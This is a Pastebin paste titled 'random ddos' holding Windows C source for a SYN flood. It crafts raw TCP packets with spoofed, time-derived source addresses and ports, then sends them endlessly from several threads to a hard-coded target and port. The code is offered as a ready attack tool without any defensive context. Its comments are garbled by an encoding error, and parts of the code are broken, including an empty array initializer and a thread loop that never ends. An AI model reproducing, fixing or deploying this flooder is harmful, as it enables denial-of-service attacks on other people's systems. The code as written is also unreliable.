Advertisement
dcomicboy

random ddos

Dec 9th, 2011
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.29 KB | None | 0 0
  1. #include "stdafx.h"
  2. #include <windows.h>
  3. #include <winsock2.h>
  4. #include <ws2tcpip.h>
  5. #pragma comment(lib,"WS2_32.LIB")
  6.  
  7. typedef struct tag_ip_Header//ipÊײ¿
  8. {
  9. unsigned char h_verlen;//4λÊÖ²¿³¤¶È£¬ºÍ4λIP°æ±¾ºÅ
  10. unsigned char tos;//8λÀàÐÍ·þÎñ
  11. unsigned short total_len;//16λ×ܳ¤¶È
  12. unsigned short ident;//16λ±êÖ¾
  13. unsigned short frag_and_flags;//3λ±ê־루ÈçSYN,ACK,µÈµÈ)
  14. unsigned char ttl;//8λÉú´æʱ¼ä
  15. unsigned char proto;//8λЭÒé
  16. unsigned short checksum;//ipÊÖ²¿Ð§ÑéºÍ
  17. unsigned int SourceIP;//αÔìIPµØÖ·
  18. unsigned int DestIP;//¹¥»÷µÄipµØÖ·
  19. }IPHEADER;
  20.  
  21. typedef struct tag_tcp_Header
  22. {
  23. USHORT th_sport;//αÔì¶Ë¿Ú
  24. USHORT th_dport;//¹¥»÷¶Ë¿Ú
  25. unsigned int th_seq;//32λϵÁкÅ
  26. unsigned int th_ack;//32λȷÈϺÅ
  27. unsigned char th_lenres;//4λÊײ¼³¤¶È£¬6λ±£Áô×Ö
  28. unsigned char th_flag;//6λ±ê־λ
  29. USHORT th_win;//16λ´°¿Ú´óС
  30. USHORT th_sum;//16λЧÑéºÍ
  31. USHORT th_urp;//
  32. }TCPHEADER;
  33.  
  34. typedef struct tag_tsd_Header
  35. {
  36. unsigned long saddr;//αÔìµØÖ·
  37. unsigned long daddr;//¹¥»÷µØÖ·
  38. char mbz;//
  39. char ptcl;//ЭÒéÀàÐÍ
  40. unsigned short tcpl;//TCP³¤¶È
  41. }TSDHEADER;
  42.  
  43. DWORD WINAPI Start(void);
  44. HANDLE hFind[10];
  45.  
  46. //¼ÆËãЧÑéºÍ
  47. USHORT checksum(USHORT *buffer,int size)
  48. {
  49. unsigned long check=0;
  50. while(size>1)
  51. {
  52. check+=*buffer++;
  53. size -=sizeof(USHORT);
  54. }
  55. if(size)
  56. {
  57. check += *(USHORT*)buffer;
  58. }
  59. check = (check >>16) + (check & 0xffff);
  60. check += (check >>16);
  61. return (USHORT)(~check);
  62. }
  63. //¹¥»÷Ïß³Ì
  64. DWORD WINAPI Statr(void)
  65. {
  66. SOCKET sock;
  67. WSADATA WSAData;
  68. SOCKADDR_IN syn_in;
  69. IPHEADER ipHeader;
  70. TCPHEADER tcpHeader;
  71. TSDHEADER psdHeader;
  72. const char *addr = "127.0.0.1";//¹¥»÷µÄIPµØÖ·
  73. int port = 135;//Òª¹¥»÷µÄ¶Ë¿Ú
  74. if(WSAStartup(MAKEWORD(2,2),&WSAData))
  75. {
  76. return false;
  77. }
  78. if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
  79. {
  80. return false;
  81. }
  82. BOOL flag=true;
  83. if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR)
  84. {
  85. return false;
  86. }
  87. int Time =888;
  88. if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&Time,sizeof(Time))==SOCKET_ERROR)
  89. {
  90. return false;
  91. }
  92. syn_in.sin_family = AF_INET;
  93. syn_in.sin_port = htons(port);
  94. syn_in.sin_addr.S_un.S_addr = inet_addr(addr);
  95. while(TRUE)
  96. {
  97. //Ìî³äIPÊײ¿
  98. ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
  99. ipHeader.tos=0;
  100. ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
  101. ipHeader.ident=1;
  102. ipHeader.frag_and_flags=0;
  103. ipHeader.ttl=(unsigned char)GetTickCount()%514+620;
  104. ipHeader.proto=IPPROTO_TCP;
  105. ipHeader.checksum=0;
  106. ipHeader.SourceIP=htonl(GetTickCount()*1986);
  107. ipHeader.DestIP=inet_addr(addr);
  108. //Ìî³äTcpÊײ¿
  109. int SourcePort =GetTickCount()*1986%514;
  110. tcpHeader.th_dport=htons(port);
  111. tcpHeader.th_sport=htons(SourcePort);
  112. tcpHeader.th_seq=htonl(0x12345678);
  113. tcpHeader.th_ack=0;
  114. tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
  115. tcpHeader.th_flag=2;
  116. tcpHeader.th_win=htons(620);
  117. tcpHeader.th_urp=0;
  118. tcpHeader.th_sum=0;
  119. //Ìî³äTCPαÊײ¿ÓÃÀ´¼ÆËãTCPÍ·²¿µÄЧÑéºÍ
  120. psdHeader.saddr=ipHeader.SourceIP;
  121. psdHeader.daddr=ipHeader.DestIP;
  122. psdHeader.mbz=0;
  123. psdHeader.ptcl=IPPROTO_TCP;
  124. psdHeader.tcpl=htons(sizeof(tcpHeader));
  125.  
  126. //¼ÆËãУÑéºÍ
  127. char SendBuff[100]=;
  128. memcpy(SendBuff, &psdHeader, sizeof(psdHeader));
  129. memcpy(SendBuff+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
  130. tcpHeader.th_sum=checksum((USHORT *)SendBuff,sizeof(psdHeader)+sizeof(tcpHeader));
  131. memcpy(SendBuff, &ipHeader, sizeof(ipHeader));
  132. memcpy(SendBuff+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
  133.  
  134. //·¢ËÍÊý¾Ý°ü
  135. int Syn=sendto(sock, SendBuff, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&syn_in, sizeof(syn_in));
  136. if(Syn==SOCKET_ERROR)
  137. {
  138. return false;
  139. }
  140. }
  141. closesocket(sock);
  142. WSACleanup();
  143. return true;
  144. }
  145.  
  146. int APIENTRY WinMain(HINSTANCE hInstance,
  147. HINSTANCE hPrevInstance,
  148. LPSTR lpCmdLine,
  149. int nCmdShow)
  150. { //Æô¶¯Ị̈߳¬10£¬´ó¼Ò¿ÉÒÔ×Ô¼º¸Ä
  151. for(int i=0;i<10;i++)
  152. {
  153. hFind[i-1]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Statr,0,0,NULL);
  154. i--;
  155. }
  156. return 0;
  157. }
  158.  
  159.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement